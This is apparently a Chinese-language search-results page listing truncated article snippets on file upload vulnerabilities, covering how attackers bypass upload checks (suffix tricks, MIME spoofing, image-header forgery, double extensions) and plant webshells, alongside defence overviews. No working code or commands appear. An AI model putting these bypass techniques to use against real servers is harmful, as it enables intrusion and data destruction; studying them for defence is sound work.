  • 文件上传漏洞渗透 原理:利用网站文件上传对文件类型、后缀等未检测的漏洞进行渗透攻击。 目的:将木马脚本上传至网站后台服务器获取增删改权限,删库跑路。 工具:kali, OWASP(Open Web Application Security ...
  • 文件上传漏洞是用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。绕...
  • 【漏洞利用】文件上传漏洞&文件包含漏洞利用一句话木马汇总GitHubPHP一句话静态免杀PHP一句话文件上传绕过图片马制作cmd图片头欺骗后缀名绕过前端js验证双后缀名MIME类型绕过文件包含漏洞(上传成功后的利用)...
  • 文件上传漏洞是什么?怎样防御文件上传漏洞攻击?文件上传漏洞是web安全中经常利用到的一种漏洞形式。这种类型的攻击从大的类型上来说,是攻击 数据与代码分离原则 的一种攻击。 一些web应用程序中允许上传图片,...
  • 文件上传漏洞作为获取服务器权限最快的方式,虽然相关资料很多,但很多人对上传校验方式、如何针对性绕过检测、哪种上传和解析的场景会产生危害等还是比较模糊。本文作一些阐述,然后补充一些除了上传webshell的其他...
  • 文件上传漏洞总结篇

    2018-07-07 09:24:00
    文件上传漏洞总结 漏洞位于:只要能上传文件的地方皆有可能出现文件上传漏洞 寻找漏洞:寻找能上传文件的地方,文本编译器 攻击方法:任意文件上传,后缀大小写绕过,文件类型绕过,双写后缀名绕过,请求特殊后缀...
  • 闲话文件上传漏洞

    2018-07-18 16:09:13
    文件上传漏洞是web安全中经常利用到的一种漏洞形式。这种类型的攻击从大的类型上来说,是攻击 数据与代码分离原则 的一种攻击。 一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是...
  • 这篇文章就当作对文件上传漏洞的一个总结吧,都是一些常见的方式,有什么错误还请大佬们指出。客户端ENTER TITLE>>>>js检查直接Burp拦截更改后缀服务端ENTER TITLE>>>>检查后缀黑名单上传...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 649
精华内容 259
关键字:

文件上传漏洞后缀